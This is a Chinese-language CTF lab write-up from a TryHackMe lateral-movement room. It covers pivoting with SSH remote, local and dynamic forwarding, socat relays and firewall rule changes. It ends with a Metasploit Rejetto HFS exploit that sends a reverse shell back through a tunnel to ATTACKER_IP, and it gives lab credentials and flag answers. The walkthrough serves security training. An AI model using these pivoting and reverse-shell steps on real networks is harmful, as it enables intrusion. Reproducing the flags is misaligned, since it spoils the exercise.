Task 7 端口转发
前面提到的大多数横向移动技术都需要特定端口可供攻击者使用。然而在真实的网络环境中,管理员可能出于安全考虑拦截了其中一些端口,或者在网络访问权限上做了黑白名单,从而阻止我们访问 SMB、RDP、WinRM 或 RPC 端口。
为了绕过这些限制,就需要用到端口转发,即使用任何受感染的主机作为跳板机来访问其他主机。真实的网络环境中,某些机器将比其他机器拥有更多的网络权限,因为企业中的每个角色在日常工作所需的网络服务方面都有不同的需求。
SSH 隧道
SSH 隧道可以以不同的方式通过 SSH 连接转发端口,具体用哪种方式将根据场景而定。
为了解释每种情况,这里假设一个场景,我们已经获得了对 PC-1 的控制权(不需要管理员权限),并且希望将其用作访问另一台机器上的端口的枢纽(这里另一台机器 Server 我们是无法直接访问到的)。我们将启动一条从 PC-1 计算机(充当 SSH 客户端)反向连接到攻击者 PC(充当 SSH 服务器)的隧道。为什么这么操作?因为在 Windows 计算机上通常我们只找得到 SSH 客户端组件,大多数时候用户是没有安装 SSH 服务端组件的。
由于我们将连接回攻击者的计算机,因此我们希望在其中创建一个用户,而无需访问任何隧道控制台,并设置用于创建隧道的密码:
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
根据需要,SSH 隧道可用于执行本地或远程端口转发。
SSH 远程端口转发
在我们的示例中,假设防火墙策略阻止攻击者的计算机直接访问服务器上的 3389 端口。如果攻击者之前已经拿下了 PC-1 的权限,并且 PC-1 可以访问到服务器的 3389 端口,则可以使用 PC-1 的远程端口转发将其转发到攻击机的 3389 端口。远程端口转发允许我们从 SSH 客户端(在本例中为 PC-1)获取可访问的端口,并将其投射到远程 SSH 服务器(攻击者的计算机)上。
结果就是,攻击者的计算机上将打开一个端口,可用于通过 SSH 隧道连接回服务器中的 3389 端口。反过来,PC-1 将代理这个连接,在服务器上看到的所有流量都将来自 PC-1:
简而言之即将 Server 的 3389 端口转发到 AttackerPC 的 3389 端口,使得 AttackerPC 可以访问到 Server 的 3389 端口
此时可能会出现的一个问题是,如果我们已经拿下了 PC-1 并且可以直接在上面运行 RDP 会话,为什么还需要做端口转发?
答案很简单:在只能通过控制台访问 PC-1 的情况下,我们将无法使用任何 RDP 客户端,因为我们没有 GUI。
而使攻击者的计算机可以访问到该端口之后,就可以通过 Linux RDP 客户端进行连接。当你想要针对无法直接访问的端口进行漏洞利用时,也会出现类似的情况,比如你的 exp 可能需要特定的脚本语言支持(如 python、ruby、java 等),而你已经拿下的 PC-1 上并没有安装这些语言支持组件。
参考上图,将服务器上的 3389 端口转发回攻击者的计算机,需要在 PC-1 上使用以下命令:
C:\> ssh [email protected] -R 3389:3.3.3.3:3389 -N
这条命令使用 tunneluser
用户建立了从 PC-1 到 1.1.1.1
(攻击者 PC)的 SSH 会话。
由于 tunneluser
没法在攻击者 PC 上运行 shell,因此我们需要使用 -N
参数运行 ssh
命令,以防止客户端请求 shell,否则连接将闪退。 -R
参数用于请求远程端口转发,语法要求我们先写出要在 SSH 服务器上打开的端口 (3389),然后是冒号,然后是我们要转发的目标 IP 和目标端口套接字 (3.3.3.3:3389)。
注意,ssh 服务器上要打开的端口号不需要跟目标端口一致,只是在本实验中需要匹配。
命令本身不会输出任何内容,但隧道将取决于要运行的命令。无论何时,我们都可以像使用任何其他命令一样按 CTRL+C
来关闭隧道。
一旦隧道成功建立,我们就可以直接访问攻击者计算机上的 3389 端口来连接到目标 Server:
munra@attacker-pc$ xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword
SSH 本地端口转发
本地端口转发允许我们将端口从 SSH 服务端转发到 SSH 客户端。在我们的场景示例中,即任何无法直接连接到 AttackerPC 但可以连接到 PC-1 的主机现在都可以通过 PC-1 访问到攻击者的 web 服务。
使用这种类型的端口转发将允许我们从通常无法连接回我们的主机建立反向 shell,或者只是向与我们没有直接连接的计算机提供我们想要的任何服务。
简而言之即将 AttackerPC 的 80 端口转发到 PC-1 的 80 端口,使得 Server 可以访问到 AttackerPC 的 80 端口
要从 AttackerPC 转发 80 端口并使其可从 PC-1 访问,需要在 PC-1 上运行以下命令:
C:\> ssh [email protected] -L *:80:127.0.0.1:80 -N
这条命令的结构与远程端口转发中使用的命令结构类似,但换成了 -L
参数进行本地端口转发。此参数要求需要指明 PC-1 用于接收连接的本地套接字(*:80
)以及从 AttackerPC 的角度连接的远程套接字(127.0.0.1:80
)。
由于我们在 PC-1 上打开了一个新端口,因此可能还需要添加防火墙规则以允许传入连接(使用 dir=in
)。为此需要管理权限:
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80
建立隧道后,任何在浏览器中访问 PC-1 的 web 服务 http://2.2.2.2:80
的用户都会看到由攻击者计算机部署的 web 页面。
使用 socat 进行端口转发
在 SSH 不可用的情况下,socat 可用于执行类似的功能,虽然不如 SSH 灵活,但 socat 转发端口的方式更简单。使用 socat 的缺点之一就是我们需要将其传输到跳板机(在我们当前的示例中为 PC-1),这就使得它相比 SSH 更容易被检测到,但在没有其他可用方案的情况下也许值得一试。
使用 socat 执行端口转发的基本语法要简单得多。如果我们想打开主机上的端口 1234 并将我们收到的任何连接转发到主机 1.1.1.1 上的端口 4321,使用以下命令即可:
socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321
fork
参数允许 socat 为收到的每个连接创建一个新进程,从而可以在不关闭的情况下处理多个连接。如果不包含它,socat 将在第一个连接完成时关闭。
回到我们的示例,如果我们想要像使用 SSH 远程端口转发一样使用 PC-1 作为跳板来访问 Server 上的端口 3389,可以使用以下命令:
C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389
注意,socat 无法像 SSH 那样将连接直接转发到攻击者的计算机上,但会在 PC-1 上打开一个端口,攻击者的计算机可以连接到该端口:
跟前面一样,由于在跳板机上打开了一个端口,我们可能需要创建一个防火墙规则以允许到该端口的任何连接:
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
另一方面,如果想转发攻击者的机器的 80 端口,以便 Server 可以访问它,我们只需要稍微调整一下命令:
C:\>socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80
最终,PC-1 将打开 80 端口并监听要转发到攻击者计算机上的 80 端口的连接:
动态端口转发和 SOCKS 代理
虽然单端口转发对于需要访问特定套接字的任务非常有效,但有时我们可能需要通过跳板机对另一台主机的多个端口甚至跨多台计算机的多个端口进行扫描。在这些情况下,动态端口转发允许我们将受害者主机作为跳板,并使用 SOCKS 代理与我们想要的任何目标 IP /目标端口建立多个连接。
由于我们不想依赖目标网络中 Windows 计算机上已有的 SSH 服务器组件,因此我们通常会使用 SSH 客户端通过以下命令建立反向动态端口转发:
C:\> ssh [email protected] -R 9050 -N
这条命令使得 SSH 服务器在 9050 端口上启动 SOCKS 代理,并通过 SSH 隧道转发任何连接请求,最终所有流量由 SSH 客户端代理。
我们可以使用 proxychains
通过 SOCKS 代理轻松代理任何工具的流量。为此,我们需要确保 proxychains
正确配置为将任何连接指向由 SSH 建立的 socks 代理端口。proxychains
配置文件可以在 kali 上的 /etc/proxychains.conf
中找到。翻到配置文件的末尾,默认有一行用于指定 socks 代理端口的配置:
[ProxyList]
socks4 127.0.0.1 9050
默认端口是 9050。任何端口都可用,只要与我们建立 SSH 隧道时使用的端口匹配即可。
使用这个代理很简单,这里以通过代理执行 curl 命令请求内网网站为例:
proxychains curl http://pxeboot.za.tryhackme.com
使用 socat 转发 3389 端口实践
从 http://distributor.za.tryhackme.com/creds 获取一组新凭据连接到 THMJMP2。获得凭据后,通过 SSH 连接到 THMJMP2:
ssh za\\<AD Username>@thmjmp2.za.tryhackme.com
我们的第一个目标是通过 RDP 连接到 THMIIS。如果我们尝试直接从攻击者机器进行连接,会发现 3389 端口已被防火墙过滤,无法直接连接。但是,该端口已启动并正在运行,但只能从 THMJMP2 访问。通过使用 THMJMP2 上的 C:\tools\socat\
目录下的 socat 转发 THMIIS 的 RDP 端口:
C:\tools\socat\>socat TCP4-LISTEN:33389,fork TCP4:THMIIS.za.tryhackme.com:3389
这里 THMJMP2 已禁用防火墙 所以无需更改防火墙配置,直接在攻击机连接即可:
user@AttackBox$ xfreerdp /v:THMJMP2.za.tryhackme.com:33389 /u:t1_thomas.moore /p:MyPazzw3rd2020
连接后运行桌面的 flag.bat
即可获取到 flag:
通过隧道进行复杂的漏洞利用
THMDC 服务器上运行着有漏洞的 Rejetto HFS 版本,但是防火墙规则限制了外部网络对其存在漏洞的端口的访问,只能从 THMJMP2 访问。同时 THMDC 的出站连接仅允许连接到其内网中的机器,这就意味着 THMDC 无法直接反弹 shell 到攻击机,另外 Rejetto HFS 存在的漏洞需要攻击者部署 HTTP 服务来触发最终 payload,因此我们需要找到一种方法来将 Web 服务托管到其内网中的其他机器。端口转发可以解决这些问题。
先来了解下漏洞利用流程。攻击机对目标 THMDC 的 HFS 端口(即 msf 中设置的 RPORT
)发起攻击,THMDC 受到攻击后向攻击机的 SRVPORT
请求获取 payload,payload 被 THMDC 执行后就会向攻击机的 LPORT
反弹 shell:
了解完利用流程后可知,我们需要使用 SSH 将某些端口从攻击者的计算机转发到 THMJMP2(用于托管 Web 服务的 SRVPORT
和用于接收反弹 shell 的 LPORT
),并通过 THMJMP2 访问 THMDC 上的 RPORT
。我们需要在两个方向上对三个端口做转发,以便所有涉及漏洞利用的交互请求都可以通过 THMJMP2 进行代理:
Rejetto HFS 将侦听 THMDC 上的端口 80,因此我们需要使用远程端口转发通过 THMJMP2 将该端口隧道传回攻击者的计算机。由于攻击盒的 80 端口已被其他服务占用,因此我们需要将 THMDC 上的端口 80 与攻击盒当前未使用的某个端口链接起来。让我们使用端口 8888。在 THMJMP2 中运行 ssh 来转发此端口时,我们必须将 -R 8888:thmdc.za.tryhackme.com:80
添加到我们的命令中。
两个端口分别设置为 SRVPORT=3444
和 LPORT=6777
。
要将这两个端口从攻击机转发到 THMJMP2,可以通过在 ssh 命令中添加 -L *:3444:127.0.0.1:3444
和 -L *:6777:127.0.0.1:6777
来使用本地端口转发。这将绑定 THMJMP2 上的两个端口,并将任何连接通过 ssh 隧道转发到攻击机。最终在 THMJMP2 上运行的 ssh 转发命令如下:
C:\> ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:3444:127.0.0.1:3444 -L *:6777:127.0.0.1:6777 -N
端口转发配置好之后打开 msf 进行漏洞利用:
user@AttackBox$ msfconsole
msf6 > use rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/shell_reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set lhost thmjmp2.za.tryhackme.com
msf6 exploit(windows/http/rejetto_hfs_exec) > set ReverseListenerBindAddress 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set lport 6777
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvhost 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvport 3444
msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8888
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
参数设置解读:
LHOST
参数通常有两个用途:作为攻击者机器上绑定监听器的 IP,用于接收反弹的 shell;它还嵌入在有效负载中,以便受害者知道在触发漏洞时连接到哪里。在这个实验场景中,由于 THMDC 无法直接连接到攻击机,因此我们需要让 payload 请求连接到 THMJMP2,但同时又需要反弹 shell 的监听器绑定到攻击机的127.0.0.1
上。为此,Metasploit 提供了一个可选参数ReverseListenerBindAddress
,可用于指定攻击机上接收反弹 shell 的地址,这就使得接收反弹 shell 的地址与 payload 要请求的地址区分开。- 这个漏洞还需要一个 Web 服务器来托管并将 paload 发送给目标机器即 THMDC。我们使用
SRVHOST
来配置监听地址,在本实验中为127.0.0.1
,以便攻击机将 Web 服务器绑定到localhost
。这可能有点违反常理,因为没有外部主机能够访问到攻击机的本地网络,但实际上我们将通过 SSH 隧道把SRVPORT
转发到 THMJMP2 上,THMJMP2 收到的对SRVPORT
的任何连接将会被转发回攻击机。 RHOSTS
同样设置为127.0.0.1
,因为我们将通过使用 THMJMP2 建立的 SSH 隧道把请求转发到 THMDC。RPORT
设置为8888
,因为发送到攻击机8888
端口的任何连接都将转发到 THMDC 上的80
端口。
成功利用后即可收到 THMDC 的 shell,flag 在 C:\hfs\flag.txt
中:
Question: What is the flag obtained from executing flag.exe
on t1_thomas.moore's desktop on THMIIS?
Answer: THM{SIGHT_BEYOND_SIGHT}
Question: What is the flag obtained using the Rejetto HFS exploit on THMDC?
Answer: THM{FORWARDING_IT_ALL}
Task 8 总结
这个 room 里主要讲解了攻击者在获取到一组有效凭据后 可以在内网中横向移动的多种方式。从攻击者的角度来看,拥有尽可能多的技术来进行横向移动总是好的,因为不同的网络有各种不同的限制,这些限制可能会拦截掉一些横向移动方法,同时也有一些方法没有被拦截。
这里分享一些其它可用于横向移动的工具和技术: